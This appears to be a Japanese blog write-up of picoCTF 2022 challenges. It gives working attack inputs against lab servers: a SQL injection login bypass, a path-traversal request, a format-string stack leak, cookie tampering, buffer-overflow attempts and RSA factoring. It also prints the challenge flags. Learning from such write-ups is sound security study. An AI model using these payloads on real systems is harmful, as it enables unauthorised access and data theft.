buffer overflowの基本的な知識がなかったので、少しだけ調べたり、与えられた実行ファイルをghidraで解析してみてなんとなくわかったのは、

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/buffer-overflow-1$ python -c 'print("a"*44+"\x01\x02\x03\x04")' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x4030201
Segmentation fault

ここで、ジャンプ先アドレスを 0x080491fa にできればいいんだろう、という程度でした。 ので、単純に置き換えてみましたが

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/buffer-overflow-1$ python -c 'print("a"*44+"\xfa\x91\x04\x08")' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x91c2bac3
Segmentation fault

なぜか違う値になります。

いったんここまでにして、後でまた戻ってきたときにもうちょっと試行錯誤するつもりでパス。 …と思ってましたが、あまり時間が取れず、これ以上の試行錯誤もしませんでした。

おそらく、

  • そもそもbuffer overflowをちゃんと理解する
  • GDB Test Drive でやった(けど指示に従っただけで何も理解しなかった)ように、実際に動作させながら解析するような手法を身に着ける

の2つが必要なんだと思います。 そのあたりのレベルから、この問題を解説してくれている文書があればぜひ読みたいです。

diffie-hellman

あれ?大会期間中はこういう名前の問題があったと思うんですが、いま見たらなくなってました。 どんな問題文だったのかわからなくなってしまいましたが、解きながら書いてたメモだけ残しておきます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ python
>>> p=13
>>> g=5
>>> a=7
>>> b=3
>>> pow(g, a*b, p)
5
>>> ciphertext = 'H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_JBACIFAI'
>>> alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
>>> message = ''
>>> for c in ciphertext:
...     message += '_' if c=='_' else alphabet[alphabet.find(c)-5]
...
>>> message
'C4354R_C1PH3R_15_4_817_0U7D473D_E657DA5D'

picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_E657DA5D}

"Caesar cipher over the alphabet and the decimal digits" という記述から alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' とするのはややエスパー力が必要な気がする

Forbidden Paths

Can you get the flag?

Here's the website.

We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

絶対パスが禁止されているのであれば、相対パスならいけるのではないか、と想像できます。 /usr/share/nginx/html/ から見た /flag.txt相対パスである ../../../../flag.txt を入力してみると、フラグ picoCTF{7h3_p47h_70_5ucc355_26b22ab3} が表示されました。

Fresh java

Can you get the flag?

Reverse engineer this Java program.

与えられたクラスファイルを jd-guiデコンパイルすると、以下の部分がありました。

import java.util.Scanner;

public class KeygenMe {
  public static void main(String[] paramArrayOfString) {
    Scanner scanner = new Scanner(System.in);
    System.out.println("Enter key:");
    String str = scanner.nextLine();
    if (str.length() != 34) {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(33) != '}') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(32) != '0') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(31) != 'f') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(30) != '9') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(29) != '5') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(28) != 'c') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(27) != '6') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(26) != '2') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(25) != '1') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(24) != '_') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(23) != 'd') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(22) != '3') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(21) != 'r') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(20) != '1') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(19) != 'u') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(18) != 'q') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(17) != '3') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(16) != 'r') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(15) != '_') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(14) != 'g') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(13) != 'n') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(12) != '1') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(11) != 'l') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(10) != '0') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(9) != '0') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(8) != '7') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(7) != '{') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(6) != 'F') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(5) != 'T') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(4) != 'C') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(3) != 'o') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(2) != 'c') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(1) != 'i') {
      System.out.println("Invalid key");
      return;
    }
    if (str.charAt(0) != 'p') {
      System.out.println("Invalid key");
      return;
    }
    System.out.println("Valid key");
  }
}

文字列を後ろから順番に1文字ずつ確認しています。 ここから、Validと判定されるような文字列を復元した picoCTF{700l1ng_r3qu1r3d_126c59f0} がフラグです。

Power Cookie

Can you get the flag?

Go to this website and see what you can discover.

与えられたウェブサイトには "Continue as guest" というボタンがあり、これをクリックしてみると "We apologize, but we have no guest services at the moment." と表示されます。

このときCookieを見てみると、 isAdmin という項目の値が0に設定されています。 この値を1にしてアクセスしてみると、フラグが表示されました。

picoCTF{gr4d3_A_c00k13_dcb9f091}

Roboto Sans

The flag is somewhere on this web application not necessarily on the website. Find it.

Check this out.

Search sourcewgetの便利なオプションを知ったので、同様にローカルにミラーして、それらしい単語でgrepしてみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ wget -m http://saturn.picoctf.net:65442/
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ cd saturn.picoctf.net\:65442/
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/saturn.picoctf.net:65442$ ls -la
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/saturn.picoctf.net:65442$ grep -r flag
robots.txt:Think you have seen your flag or want to keep looking.
index.html:            end six_box   The flag is not here but keep digging :)-- >
index.html:            var image = 'images/maps-and-flags.png';

robots.txt が怪しい感じがします。中身を見てみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/saturn.picoctf.net:65442$ cat robots.txt
User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

末尾が == の文字列はbase64エンコードされていると思って良いでしょう。デコードしてみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/saturn.picoctf.net:65442$ echo anMvbXlmaWxlLnR4dA== | base64 -d
js/myfile.txt

よくわかりませんが、このファイルを見ろと言ってるのかも?と思ったので、見てみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/saturn.picoctf.net:65442$ curl http://saturn.picoctf.net:65442/js/myfile.txt
picoCTF{Who_D03sN7_L1k5_90B0T5_a4f5cc70}

フラグが書かれていました。

RPS

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.

Connect to the program with netcat:

$ nc saturn.picoctf.net 52524

The program's source code with the flag redacted can be downloaded here.

じゃんけんゲームに5回連続で勝てばいいようです。 勝敗を判定している部分のソースコードを見てみると、

   100    if (strstr(player_turn, loses[computer_turn])) {
   101      puts("You win! Play again?");
   102      return true;
   103    } else {

となっています。 player_turn はユーザの入力で、 loses

    18  char* loses[3] = {"paper", "scissors", "rock"};

と定義されています。 strstr は文字列から部分文字列を検索する関数で、 "rock", "paper", "scissors" をすべて含む文字列を入力すれば必ず勝てます。 たとえば rockpaperscissors でOKです。

実際に5連続で勝つと、フラグが表示されます。

Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_32F730C2}

Secrets

We have several pages hidden. Can you find the one with the flag?

The website is running here.

与えられたWebサイト http://saturn.picoctf.net:54925/ にアクセスして、ブラウザの開発者ウィンドウでソースを確認してみると、CSSsecret/assets/ に入っています。

そのことから直ちに思いつくかというと怪しいですが、 http://saturn.picoctf.net:54925/secret/ にアクセスしてみると、別のページが表示されます。 そのページのCSSは、 secret/hidden/ に入っています。

http://saturn.picoctf.net:54925/secret/hidden/ にアクセスしてみると、また別のページが表示されます。 そのページのCSSは、 secret/hidden/superhidden に入っています。

http://saturn.picoctf.net:54925/secret/hidden/superhidden/ にアクセスしてみると、また別のページが表示されます。 このページのソースには、フラグが書いてあります。

    <h3 class="flag">picoCTF{succ3ss_@h3n1c@10n_34327aaf}</h3>

Sleuthkit Apprentice

Download this disk image and find the flag.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

  • Download compressed disk image

sleuth kitを全く知りませんでしたが、調べながら試行錯誤したところ、今回の使い方についてはどうやら

  • fileコマンド(など)でstartsectorを調べる
  • flsコマンドでstartsectorを指定して、ファイルの一覧を取得できる
  • 怪しいファイルがあれば、icatコマンドでそのファイルを取得できる

という手順で使えるようです。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/sleuthkit-apprentice$ gunzip disk.flag.img.gz
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/sleuthkit-apprentice$ file disk.flag.img
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x82, start-CHS (0xc,223,20), end-CHS (0x16,111,25), startsector 206848, 153600 sectors; partition 3 : ID=0x83, start-CHS (0x16,111,26), end-CHS (0x26,62,24), startsector 360448, 253952 sectors
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/sleuthkit-apprentice$ fls -o 360448 -r disk.flag.img | less
d/d 1995:       root
+ r/r 2363:     .ash_history
+ d/d 3981:     my_folder
++ r/r * 2082(realloc): flag.txt
++ r/r 2371:    flag.uni.txt
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/sleuthkit-apprentice$ icat -r -o 360448 disk.flag.img 2371
picoCTF{by73_5urf3r_42028120}

SQL Direct

Connect to this PostgreSQL server and find the flag!

psql -h saturn.picoctf.net -p xxxxx -U postgres pico

Password is postgres

指定されたコマンドでPostgreSQLサーバに接続します。 まずテーブルの一覧を見てみます。

pico=# \dt
         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | flags | table | postgres
(1 row)

テーブルが1つしかないので、このテーブルの中身をすべて取得します。

pico=# select * from flags;
 id | firstname | lastname  |                address
----+-----------+-----------+----------------------------------------
  1 | Luke      | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_0414477f}
  2 | Leia      | Organa    | Alderaan
  3 | Han       | Solo      | Corellia
(3 rows)

Luke Skywalkerの住所がフラグでした。

x-sixty-what

(解けてません)

Reminder: local exploits may not always work the same way remotely due to differences between machines.

Description

Overflow x64 code

Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source.

nc saturn.picoctf.net 55561

あんまり試行錯誤すらしてません。 とりあえずパス。

Bbbbloat

Can you get the flag?

Reverse engineer this binary.

とりあえず、与えられたファイルをghidraで解析してみます。

entry 関数は以下のようになっています。

void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  undefined8 in_stack_00000000;
  undefined auStack8 [8];

  __libc_start_main(FUN_00101307,in_stack_00000000,&stack0x00000008,FUN_001015b0,FUN_00101620,
                    param_3,auStack8);
  do {
                    /* WARNING: Do nothing block with infinite loop */
  } while( true );
}

FUN_00101307 関数を追ってみると、以下のようになっています。

undefined8 FUN_00101307(void)

{
  char *__s;
  long in_FS_OFFSET;
  int local_48;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0x4c75257240343a41;
  local_30 = 0x3062396630664634;
  local_28 = 0x35613066635f3d33;
  local_20 = 0x4e603234363266;
  printf("What\'s my favorite number? ");
  __isoc99_scanf();
  if (local_48 == 0x86187) {
    __s = (char *)FUN_00101249(0,&local_38);
    fputs(__s,stdout);
    putchar(10);
    free(__s);
  }
  else {
    puts("Sorry, that\'s not it!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

ここでやっていること(の一部)は、

  • "What\'s my favorite number? " と出力してから
  • ユーザの入力を受け付けて
  • 何らかのローカル変数 (local_48) が 0x86187 に一致する場合に何かを出力

しているようです。 local_48 がユーザの入力そのものかどうかはわかりませんが、数を聞かれたときにとりあえず 0x86187 にあたるものを答えてみる価値はありそうです。

0x86187 = 549255 なので、これを答えてみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/Bbbbloat$ chmod +x bbbbloat
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/Bbbbloat$ ./bbbbloat
What's my favorite number? 549255
picoCTF{cu7_7h3_bl047_2d7aeca1}

フラグが表示されました。

buffer overflow 2

(解けてません)

buffer overflow 1が解けていないので、問題すら確認しませんでした。

とりあえずパス。

buffer overflow 3

(解けてません)

buffer overflow 1が解けていないので、問題すら確認しませんでした。

とりあえずパス。

Eavesdrop

Download this packet capture and find the flag.

  • Download packet capture

Wiresharkでパケットキャプチャを見てみると、どうやら2人が会話しています。 その会話から、

  • 暗号化されたファイルを転送したときのキャプチャが含まれていること
  • その複号は openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123 で行えること
  • 暗号化されたファイル(のバイナリの16進表示)は 53616c7465645f5f03a915e72c0fb75f352ada1e0731570d636caf9b67ac264802625a9448b654d1ce8afba4dcae8707 であること

が分かります。

まず、暗号化されたファイルをローカルに復元します。 標準的な方法がわからなかったので、あまりうまくない気がしますが、Pythonで以下のように行いました。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ pipenv run python
>>> from Crypto.Util.number import long_to_bytes
>>> b = long_to_bytes(0x53616c7465645f5f03a915e72c0fb75f352ada1e0731570d636caf9b67ac264802625a9448b654d1ce8afba4dcae8707)
>>> with open('file.des3', 'wb') as f:
...     f.write(b)
...

続いて、そのファイルをチャットに書かれていた方法で復号します。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ cat file.txt
picoCTF{nc_73115_411_77b05957}

フラグになりました。

flag leak

Story telling class 1/2

I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:

nc saturn.picoctf.net xxxxx

与えられたソースコードを見てみると、

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

という関数があります。 ユーザの入力( story )を直接 printf に渡しているので、printfにおいて特殊な意味を持つ文字を入力する format string attack ができそうです。

といっても format string attack には詳しくないのですが、とりあえず試してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ python -c "print('%p'*60)" | nc saturn.picoctf.net 65150
Tell me a story and then I'll tell you one >> Here's a story -
0xff937c100xff937c300x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xf7f2dd000xf7db2ab00x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x655f6b630x346239620x7d3261360xfbad20000x8917b00(nil)0xf7f699900x804c0000x8049410(nil)0x804c0000xff937cf80x80494180x20xff937da40xff937db0(nil)0xff937d10

%p はスタック上の値を表示するフォーマット文字列です。 最初のほうの、意味のありそうな部分を文字列に変換して、どうなるか確認してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ pipenv run python
>>> s = '0xffc827200xffc827400x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x655f6b630x346239620x7d3261360xfbad20000x65a20f00'
>>> from Crypto.Util.number import long_to_bytes
>>> [long_to_bytes(int(b, 16)) for b in s.split('0x') if b]
[b"\xff\xc8' ", b"\xff\xc8'@", b'\x08\x04\x93F', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'p%p%', b'%p%', b'ocip', b'{FTC', b'k43L', b'_gn1', b'g4lF', b'ff0_', b'4tS_', b'e_kc', b'4b9b', b'}2a6', b'\xfb\xad \x00', b'e\xa2\x0f\x00']

すごくそれっぽい部分があります。 ocip から }2a56 までの部分を、それぞれ反転して結合してみます。

>>> l = [b'ocip', b'{FTC', b'k43L', b'_gn1', b'g4lF', b'ff0_', b'4tS_', b'e_kc', b'4b9b', b'}2a6']
>>> ''.join(''.join(reversed(b.decode())) for b in l)
'picoCTF{L34k1ng_Fl4g_0ff_St4ck_eb9b46a2}'

フラグが得られました。

Operation Oni

Note: you must launch a challenge instance in order to view your disk image download link.

Download this disk image, find the key and log into the remote machine.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

  • Download disk image
  • Remote machine: ssh -i key_file -p xxxxx ctf-player@saturn.picoctf.net

サーバに接続するための秘密鍵をディスクイメージから探して、サーバに接続すればいいようです。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-oni$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x83, start-CHS (0xc,223,20), end-CHS (0x1d,81,52), startsector 206848, 264192 sectors
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-oni$ fls -o 206848 -r disk.img | less

鍵を探します。

d/d 470:        root
+ r/r 2344:     .ash_history
+ d/d 3916:     .ssh
++ r/r 2345:    id_ed25519
++ r/r 2346:    id_ed25519.pub

これがそうだと思われます。 秘密鍵を取り出して、サーバにログインしてみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-oni$ icat -r -o 206848 disk.img 2345 > id_ed25519
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-oni$ chmod 600 id_ed25519
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-oni$ ssh -i id_ed25519 -p 50650 ctf-player@saturn.picoctf.net
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64)

...

ctf-player@challenge:~$ ls -la

ログインできました。 フラグを探します。

ctf-player@challenge:~$ ls -la
total 4
drwxr-xr-x 1 ctf-player ctf-player 20 Mar 27 08:11 .
drwxr-xr-x 1 root       root       24 Mar 15 06:58 ..
drwx------ 2 ctf-player ctf-player 34 Mar 27 08:11 .cache
drwxr-xr-x 2 ctf-player ctf-player 29 Mar 15 06:58 .ssh
-rw-r--r-- 1 root       root       28 Mar 15 06:58 flag.txt
ctf-player@challenge:~$ cat flag.txt
picoCTF{k3y_5l3u7h_af277f77}ctf-player@challenge:~$
ctf-player@challenge:~$ exit

ありました。

ropfu

(解けてません)

What's ROP?

Can you exploit the following program to get the flag? Download source.

nc saturn.picoctf.net xxxxx

ROPというのは Return Oriented Programming のことで、よくわかってませんが binary exploitationの難しいやつです。

問題をチラ見して、ROPについて真面目に調べないと解けない雰囲気だったのでとりあえずパス。

SQLiLite

Can you login to this website?

Try to login here.

ウェブサイトへのログインフォームが与えられます。 Username: foo Password: bar でログインを試してみると、

username: foo
password: bar
SQL query: SELECT * FROM users WHERE name='foo' AND password='bar'
Login failed.

と表示されます。

Username: ' OR 1=1; -- でログインを試すと、

username: ' OR 1=1; --
password: bar
SQL query: SELECT * FROM users WHERE name='' OR 1=1; -- ' AND password='bar'
Logged in! But can you see the flag, it is in plainsight.

と表示されます。 ログインには成功したようですが、まだこれだけではなさそうです。

と思いましたが、このページのソースを見ると

</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_33d32a56}</p>

フラグが書いてありました。

St3g0

(解けてません)

Download this image and find the flag.

Download image

png形式の画像ファイルが与えられます。

以下のコマンドや

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ file pico.flag.png
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ strings pico.flag.png | grep t3
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ strings pico.flag.png | grep g0
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ binwalk pico.flag.png
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ pngcheck pico.flag.png

オンラインツール https://stegonline.georgeom.net/image で 何か得られないか試してみましたが、特に何もわかりませんでした。

unpackme

Can you get the flag?

Reverse engineer this binary.

とりあえず実行してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/unpackme$ ./unpackme-upx
What's my favorite number? 123
Sorry, that's not it!

何かの数を答えれば良いようです。

問題のヒントにあるUPXというものを知りませんでしたが、実行ファイルを(実行ファイルのまま)圧縮するツールのようです。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/unpackme$ sudo apt install upx
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/unpackme$ upx -d unpackme-upx

これでunpackができたので、ghidraで解析します。 Exports から main 関数を探すと、入力を受け付ける部分は以下のようになっています。

  printf("What\'s my favorite number? ");
  __isoc99_scanf(&DAT_004b3020,&local_44);
  if (local_44 == 0xb83cb) {
    local_40 = (char *)rotate_encrypt(0,&local_38);
    fputs(local_40,(FILE *)stdout);
    putchar(10);
    free(local_40);
  }
  else {
    puts("Sorry, that\'s not it!");
  }

入力が 0xb83cb のときに何かが起こるようです。 0xb83cb = 754635 なので、これを答えます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/unpackme$ ./unpackme-upx
What's my favorite number? 754635
picoCTF{up><_m3_f7w_ed7b0850}

Very Smooth

Forget safe primes... Here, we like to live life dangerously... >:)

  • gen.py
  • output.txt

問題のヒントにある Mr. Pollard が何者なのか知りませんでしたが、どうやら Pollard's p-1 algorithm というアルゴリズムがあるようです。

正確に認識できているかどうかわかりませんが、おおむね

  • 整数 n の素因数 p について、
  • p-1 のすべての素因数が十分に小さいとき
    • このとき、p-1 は smooth であるというようです
  • n の素因数をある程度少ない計算量で求める

というアルゴリズムだと思います。 問題のソースコードを見ると、今回与えられている n はこの条件を満たしている( p-1 の素因数は大きくても2の16乗程度になっている)ようです。

このアルゴリズムを使って n の素因数を見つければ、あとは通常のRSAに対する攻撃と同様です。 以下のスクリプトでそれを行いました。

import math
from Crypto.Util.number import long_to_bytes

n = 0x78428327ba89ad5746fd5546b9cab148c9ee3b634eb4b6da6256e56782c6b3fdfddee19cc4a07c1b97c5f5148108f11c29e5ebfbdd8a48247cb64fc39cba6148d2c55ff85762d64e61fdfb57b66c21d2380b4362b5fee96b0553daebec02aa4832c755a3c5e61fb9f18b9504401a1021c7dffbd8896cbf592a2d68692bd15aa141af385b396185ba6582e8e9feacf2f3977a6a8dcdb6835e4807604afea9f1e6063787f6b1bd33f724f11a5834d38f4eebe3019a06adb5011de6e289d18eb020d21d0d97e35be47ff3605bbbb4a6c481a5d01c2383712360a8f3bc63ca63013d3ea2c19dd78eb475d2ff231b4ecccd17b5e81ecdfad9ca4a704c4bf1d53211e9
c = 0x310a423b12a26d0c8244181d158571f973c42e9ebae9ae004aabd371568efaa199e4d163e6698ab3c372d80ceb97eb793ef5183eb931abe57fbdaae2fcf1e195ac16cdf1fe73fcecc35c931edee66f7a7a4c228a8f7edb1fa8902be03e95bf507e5a9ae43e87782da46655ff2a7efd192989e59348d4b520bd6d2485997d0b0f069449b231cd073c89ff792e18b7ca34a6cf6d18ffb7e43d2e0a5eb690f34fd8acb56dc986eb8bf524b311f331f25ecaea4f36cd71bda0f177bcfc27b121a871c126956928dca21528a57af8749b9bb92759dea2d054d434f3fe38178a20e3b1ed75d6afb60e83b15e9193594b4d5ad300bb40754c6886d79ccd0689353a2edd

b = 2**16
primes = []
is_prime = [False, False] + [True] * (b - 2)
for i in range(2, b):
    if not is_prime[i]:
        continue
    primes.append(i)
    j = 2 * i
    while j < b:
        is_prime[j] = False
        j += i

m = 1
for q in primes:
    m *= pow(q, math.floor(math.log(b, q)))
g = math.gcd(pow(2, m, n) - 1, n)
print(g)
assert n % g == 0

p = g
q = n // p
e = 0x10001
d = pow(e, -1, (p - 1) * (q - 1))
plaintext = pow(c, d, n)
print(plaintext)
print(long_to_bytes(plaintext))

実行してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/very-smooth$ python solve.py
120864494728439035131597114264393201045255303271195289615772768770003977077082103008417324865577783668149962798880001919644136525396178681415965612756639476328693672498834115888084203610110338105511140468643018636071057879064517720992614362427978827610471180621763247546329846692773651202904479288116748483323
38251710328773353863817963038806354441597
b'picoCTF{95d15b05}'

手元の環境では、2秒かからない程度で計算が終わりました。

wine

(解けてません)

Challenge best paired with wine.

I love windows. Checkout my exe running on a linux box. You can view source here. And connect with it using nc saturn.picoctf.net xxxxx

buffer overflow 0 と同じくらい簡単だったらいいな、と期待して、とりあえず長い文字列を入力してみましたが、 Unhandled exceptionが発生するだけで特にフラグが得られる気配はありませんでした。

とりあえずパス。

function overwrite

(解けてません)

Story telling class 2/2

You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using nc saturn.picoctf.net 55736

ソースコードを眺める限り、たぶん

  • hard_checkerへの参照をeasy_checkerへの参照に切り替える
  • 合計1337になるようなストーリーを渡す

ができるといいんだと思いますが、前者がよくわかりませんでした。

とりあえずパス。

Keygenme

(解けてません)

Can you get the flag?

Reverse engineer this binary.

ghidraでちょっと見てみましたが、入力が正しいかどうかを判定する関数の内容が複雑で、よくわかりませんでした。

とりあえずパス。

Operation Orchid

Download this disk image and find the flag.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

  • Download compressed disk image

ディスクイメージからフラグを探してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ file disk.flag.img
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x82, start-CHS (0xc,223,20), end-CHS (0x19,159,6), startsector 206848, 204800 sectors; partition 3 : ID=0x83, start-CHS (0x19,159,7), end-CHS (0x32,253,11), startsector 411648, 407552 sectors
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ fls -o 411648 -r disk.flag.img | less

このあたりが怪しいです。

d/d 472:        root
+ r/r 1875:     .ash_history
+ r/r * 1876(realloc):  flag.txt
+ r/r 1782:     flag.txt.enc

flag.txt は取り出せないので、 flag.txt.enc を取り出してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ icat -r -o 411648 disk.flag.img 1782 > flag.txt.enc
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ file flag.txt.enc
flag.txt.enc: openssl enc'd data with salted password

openssl で暗号化されているようです。 history からパスワードがわかるといいな、と期待して、 history を取り出してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ icat -r -o 411648 disk.flag.img 1875 > .ash_history
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ cat .ash_history
touch flag.txt
nano flag.txt
apk get nano
apk --help
apk add nano
nano flag.txt
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt

期待した通りでした。 暗号化した時のコマンドから、パスワードが unbreakablepassword1234567 であることがわかります。

復号します。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/operation-orchid$ openssl aes-256-cbc -d -in flag.txt.enc
enter aes-256-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
140101813425472:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:
picoCTF{h4un71ng_p457_17237fce}

Sequences

(2022/04/11追記: 本番中には解けませんでしたが、後になってから解けたので、別記事にwriteupを書きました。 picoCTF 2022 Sequences writeup - mlmrm’s blog 本番中にどこまで考察できていたかという記録としては意味がありそうなので、以下はこのまま残しておきます。)

